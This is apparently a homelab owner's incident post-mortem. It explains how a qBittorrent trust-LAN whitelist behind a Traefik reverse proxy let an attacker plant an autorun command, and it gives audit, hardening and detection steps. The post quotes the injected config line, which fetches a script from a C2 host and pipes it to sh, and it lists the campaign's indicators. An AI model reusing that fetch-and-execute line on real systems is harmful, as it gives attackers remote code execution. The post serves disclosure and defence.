TL;DR: I run 40+ services behind Traefik on my homelab. One of them — qBittorrent — trusted "the LAN" by default. My reverse proxy lives on the LAN. So every external request, routed through the proxy, looked like a trusted local client. An attacker walked through the front door and injected an OnTorrentAdded autorun pulling a remote shell. I noticed because the UI looked weird. Not because of an alert. Because of a vibe. Then I audited the other 39 services — 3 admin UIs were wide open to the internet. If you run a homelab with a reverse proxy and any "trust the LAN" toggle is enabled somewhere, you are likely running my homelab from a week ago.
For months I told myself my homelab was fine. It wasn't. And yours probably isn't either.
This is the post I owe my future self. It's also the post I owe anyone who runs a self-hosted stack behind a reverse proxy and assumes that "the LAN is trusted" is still a thing. It is not. The LAN died the moment you put Traefik — or Caddy, or nginx, or Cloudflare Tunnel, or Tailscale Funnel — in front of your apps. Most homelab tutorials end at "and now it's behind HTTPS." That sentence is doing a lot of unearned work.
The vibe check that saved me
I opened qBittorrent's WebUI for an unrelated reason. The status bar at the bottom was red. External IP: N/A. DHT: 0 nodes. Every torrent showed 0 peers, 0 B/s. My first thought, like anyone running a VPN-routed torrent client, was that the WireGuard tunnel had dropped.
The tunnel was fine. wg show reported a handshake 36 seconds ago. The container had pushed 283 GiB through it. curl ifconfig.io from inside the container returned the VPN exit IP. The network was healthy. The app was lying.
So I read the config. And there it was, sitting calmly at the top of qBittorrent.conf:
[AutoRun]
OnTorrentAdded\Enabled=true
OnTorrentAdded\Program=sh -c "(curl -s http://<c2-domain> || wget -qO - http://<c2-domain>) | sh"
enabled=true
program="sh -c \"echo <base64-blob> | base64 -d | sh\""
Every new torrent meant remote code execution inside the qBit container. Full access to every mounted volume. Full access to the VPN tunnel. The C2 (the attacker's control server, where a compromised host calls home for instructions) was still alive. The dropper (the small first-stage script that fetches and runs the real payload) had been served two days earlier. Caddy was still hosting it.
I stopped the container.
The flaw is not qBittorrent. The flaw is the model.
Here is the part that matters. It's why I'm writing this post instead of dropping an incident.md in a private wiki and calling it a Tuesday.
qBittorrent has a setting called WebUI\AuthSubnetWhitelist. It accepts a list of CIDRs. Requests from a source IP inside any of those CIDRs bypass authentication entirely. It defaults to off. I had it on, with the standard "I trust my LAN" CIDRs:
WebUI\AuthSubnetWhitelist=10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
WebUI\AuthSubnetWhitelistEnabled=true
This is a feature, not a bug. The qBittorrent issue tracker has discussed it for years. It is working as designed.
Here is the problem. qBit's check uses the TCP source IP — the actual layer-4 peer that opened the socket. When a request comes through Traefik, qBit's TCP peer is Traefik's container IP, which lives at 172.x.x.x on the docker bridge network. That IP is in the whitelist. Every request from the public internet, routed through Traefik, looked to qBittorrent like a trusted LAN client.
There is no header trick, no X-Forwarded-For confusion, no oversight. The bypass is unconditional. The auth was never running.
The deeper problem isn't qBit's setting. It's the mental model behind it. "Trust the LAN" was a defensible default in 2010. Homelabs were air-gapped. "The network" meant a switch in your basement.
In 2026, your "LAN" looks nothing like that. It includes a reverse proxy reachable from anywhere on Earth. A docker bridge that carries every container's traffic. A tunnel inbound from your CDN. Your phone's Tailscale node sitting in a hotel WiFi. Half a dozen automation users that talk to your stuff over HTTP.
The LAN is no longer a place. It's a coincidence of where your auth check happens to live.
Self-hosted apps shipped permissive "LAN allow" defaults assuming a LAN nobody actually has anymore. Cloudflare Tunnel, Tailscale Funnel, Traefik, Caddy — they move the perimeter, they do not replace authn. The reverse proxy is a hallway, not a door.
The blast radius: I audited 40 services. 3 were wide open.
I had to know how bad it was. So I walked every Traefik-exposed router on the box and probed each one from outside the LAN. The result wasn't 0 of 40. It wasn't 1.
Three were unauthenticated to the internet.
- qBittorrent — already on fire. Trust-LAN bypass.
- A real-time docker log viewer. No auth, no middleware. Its
/api/events/streamendpoint streamed the entire container fleet to anyone with the URL. The companion endpoint streams every container's stdout and stderr. Every secret, token, request body, OAuth code, webhook signature, database query — anything any service ever logged. A guessable hostname gave a stranger a real-time SIEM (a security console that aggregates an infrastructure's logs into one searchable view) over my entire stack. - A Plex statistics dashboard. Empty
http_password=""in its config. The full Home view was aGET /homeaway. Watch history, IP addresses of every viewer, embedded Plex auth tokens, notification webhooks (Discord, Slack — with their secrets in the payload).
Each of those was one URL guess away. Each was visible from any TLS transparency monitor — crt.sh will happily list every subdomain on a wildcard cert. And each had its own native auth that I had explicitly turned off because — wait for it — "it's only on the LAN."
The blast radius wasn't qBittorrent. It was every secret my stack had ever leaked into a log line. Container escape was unlikely (no privileged, no docker socket). Lateral movement via shared volumes was on the table. The C2 traffic exited via my paid VPN, so my legal exposure was the VPN provider's IP, not mine. Cold comfort.
Severity, honestly: high impact, low sophistication. The dropper carries the fingerprints of the cryptominer campaigns that have been hammering qBit AutoRun since 2023. Multi-arch binaries (x86_64, aarch64, amd64). Random 8-character names. Drop, chmod +x, execute, rm -rf — nothing left on disk. Multiple downloader fallbacks: curl, wget, python3, perl, raw sockets. The operator wasn't targeting me. They were spraying every qBit on the public internet with AutoRun on. I was a number in a list.
The same primitive in skilled hands gets a lot worse. The shared /data/downloads mount runs straight into Plex's process. The arr stack's API keys sit in env files on the same box. The lesson isn't that I dodged a bullet — it is that the bullet was generic, and a custom one would have been catastrophic.
What "behind Traefik" actually means
Read any homelab tutorial from the last five years. The instructions follow a pattern: deploy the service, point Traefik at it with a Host() rule, get a Let's Encrypt cert, done. The implicit assumption is that Traefik is a security boundary.
It isn't. Traefik is a router. By default, it routes whatever it can reach to whoever asks for it. If the upstream service has auth, requests get authenticated. If it doesn't, they don't. Traefik will happily proxy an unauthenticated dashboard to the public internet for years. It will never warn you. That's literally what you configured it to do.
The mental fix is to treat the reverse proxy as untrusted infrastructure that forwards traffic. The auth boundary is the application's auth, or a forwardAuth middleware in front of it. There is no third option. "Reachable on the LAN only" is the second option pretending to be a third one. If your reverse proxy can reach the upstream, and the public internet can reach your reverse proxy, the upstream is on the public internet.
This generalizes. The same trap exists in:
- Sonarr, Radarr, Lidarr, Prowlarr —
Authentication Required > "Disabled for Local Addresses". Don't. - Plex —
"Allow connections without auth on my local network". Don't, especially with a reverse proxy in the same subnet. - Home Assistant —
trusted_proxies+use_x_forwarded_for=truewithout a real allowlist. - Grafana — anonymous mode, or
auth.proxyheaders from a proxy you don't fully trust. - Pi-hole — admin password reuse + open API.
- Tautulli, older Jellyfin, basically anything with a "trust LAN" toggle from the pre-Tailscale era.
If a checkbox in your service config says "don't require auth from local network" and your service is also reachable through any reverse proxy, untick that checkbox. Today.
The fix, in layers
Cleanup happened in three passes: stop the bleeding, then audit, then harden.
Stop the bleeding
The C2 callback is a known-bad fileless dropper. I blocked it at three layers, because each layer catches what the previous one misses:
- At the DNS layer (Pi-hole). Block the C2 domain so anything resolving it by name goes nowhere. Cheap, instant — useless if the malware skips DNS and connects to a raw IP.
- At the host firewall (iptables). Drop outbound packets to the C2's IP, both from the host and from any container it routes. Catches the raw-IP case the DNS layer misses. Made permanent so it survives a reboot.
- At the edge router. The same drop rule on the gateway, pointed at the same C2 IP. Catches anything on the network that doesn't route through the homelab host — IoT devices, phones, the printer, your kid's laptop.
A single layer would be a checkbox. Three layers is defense-in-depth that accepts any one of them might be wrong.
Sanitize and audit
For the compromised app, I did five things:
- Deleted the
[AutoRun]block. - Turned off the trust-LAN bypass.
- Rotated the WebUI password. I generated the salted hash myself instead of clicking the UI form — at least then I know what's in my config.
- Kept a forensic copy of the config and the dropper.
- Scanned the container's running processes for a tell-tale sign of the malware:
ls -la /proc/*/exe 2>/dev/null | grep deleted
That command lists running processes whose executable on disk has already been deleted — the classic fingerprint of "drop, run, delete" malware that tries to leave nothing behind. Nothing showed up. The dropper had done its job and exited cleanly when I stopped the container.
For everything else, I walked every service exposed through Traefik. I noted which had an auth gate in front and which relied on their own internal login. Three had no auth at all. The rest were either fine on their own merits, or arguably fine for their threat model. Arguably is doing a lot of work in that sentence. See the next section.
Default-deny the perimeter
The honest fix isn't "secure the three I missed." It is "stop trusting that I will catch the next one." So I put a small auth service in front of every service whose only intended user is me: TinyAuth (minimal, single-purpose, fits the blast radius I needed; Authelia or Authentik would do as well). Now Traefik asks the auth service "is this person logged in?" before forwarding any request to the actual app. That covered 17 admin UIs. Even if the app behind has an unauthenticated bug — and someday one will — the request never reaches it without a valid session first.
Some services do need to talk to third parties — mobile apps, SDKs, CLIs, external webhooks, password manager clients, photo sync. Those stayed on their own auth. Each one is now a known weak point I monitor actively. The list is much shorter than the gated one.
The rule going forward is one line in any new service's compose file:
- "traefik.http.routers.<name>.middlewares=tinyauth@docker"
If a new service can't accept that line, that's a deliberate exception, not a default.
What to do this weekend
If you run a homelab — any size, any reverse proxy, any number of services — here are the four checks that catch 90% of this class of bug.
1. Grep for trust-LAN toggles.
grep -rIE "AuthSubnet|trust(ed)?_?(network|proxy|host)|allowed_hosts|local.?bypass|skip.?auth.?local|disabled_for_local" \
/opt/docker /etc 2>/dev/null
If any of those are enabled and the service is reachable through your reverse proxy, you have my last week's homelab. The qBit-specific check:
grep -rE "AuthSubnetWhitelistEnabled=true" /opt/docker
2. List every Traefik router and its middlewares.
for f in /opt/docker/*/compose.yml; do
awk '/traefik\.http\.routers\..*\.rule=.*Host/,/networks:/' "$f" \
| grep -E "routers\.[a-z0-9-]+\.(rule|middlewares)" \
| sort -u
done
Sort by router name. Any router without a middlewares= line is running on its own internal auth alone. That is a deliberate choice, not a default. Make sure each one is a choice you remember making.
3. Hit every admin URL from your phone on cellular. Off-LAN, no Tailscale, no nothing. If anything responds with anything other than a redirect to a login or a 401, it's reachable from the internet. Now ask whether you want it to be.
4. Check [AutoRun] and equivalents on anything that runs untrusted input. qBittorrent's [AutoRun] section. Sonarr/Radarr's "Connect" custom-script connections. Home Assistant's shell_command service. Jellyfin's webhook plugin. n8n workflow webhooks if any are publicly reachable. If you didn't put it there, it shouldn't be there.
The reader who runs five services with Caddy: same exercise, smaller surface. The idea doesn't depend on Traefik or 40 services. The mental model that "LAN is trusted" is the bug. Replace it.
A note on the things you can't audit yourself
I had three things wide open. Two of them were apps I'd installed years ago and never re-checked. One was an empty http_password="" from the day I deployed it, never touched. Configuration drift toward open is the natural state of a homelab. You add services, you tweak settings, you forget defaults, you upgrade and lose a config flag, you read a tutorial that says "for testing" and never come back. The audit is not a one-time event. It's a recurring chore, on a calendar, like an oil change.
And: do not trust your monitoring to catch this for you. I had Beszel, Uptime Kuma, Dozzle, Pi-hole's query log, the lot. None of them flagged anything because nothing was failing. The compromise was inside the application, and the application was working better than usual from the attacker's perspective. The signal that found it was visual: a red icon I happened to look at. There is no SIEM in a homelab. You are the SIEM, and your eyes are not a query language.
Indicators of compromise
If you run qBittorrent and want to confirm you weren't hit by the same wave, here's what to look for. These are the IoCs from this incident — Indicators of Compromise, the specific artifacts a defender can grep for to confirm a known intrusion. They're public defenders' information.
- C2 domain:
yify.foo - C2 IP:
172.245.88.160(ColoCrossing, the same range that hosts a long list of similar mass-exploitation droppers) - Stage 1 in
qBittorrent.conf: any[AutoRun]block withOnTorrentAdded\Programpiping output tosh - Stage 2 dropper (1945 bytes, served from
http://yify.foo/): multi-arch shell script, branches onuname -m, fetches a binary from/1,/2, or/3on the C2 IP, drops to every writable mount with a random 8-char name, executes, deletes the file - Process IoC:
ls -la /proc/*/exe 2>/dev/null | grep deleted— fileless stage-2 process whose binary inode is gone - Network IoC: outbound DNS for
yify.fooor any TCP to172.245.88.160from a container running qBit, sonarr, radarr, plex, or anything sharing their volumes
If you find any of these, treat the host as compromised. Then:
- Stop the affected container.
- Sanitize the config.
- Rotate every credential the container had access to.
- Block the C2 at three layers (DNS, host, edge).
- Audit the rest of your stack for the same pattern.
Don't just kill the process. That's the stage-2 dropper. The autorun config will respawn it on the next torrent.
Closing
I have spent 9 years writing software for hospitals. I hold opinions about systems with strong consequences. I still got owned by a default checkbox.
The lesson is not that homelabs are unsafe. They're as safe as you make them. The lesson is that the model has shifted. Behind the proxy used to mean behind the perimeter. It does not, anymore. The proxy is the perimeter, and the perimeter is paper-thin if the apps behind it think they're on a trusted LAN.
Your reverse proxy is not a firewall. It's a hallway. If you don't have a door at the end of it, your apps are standing in a public lobby. Mine were. Three of them, anyway.
Not anymore.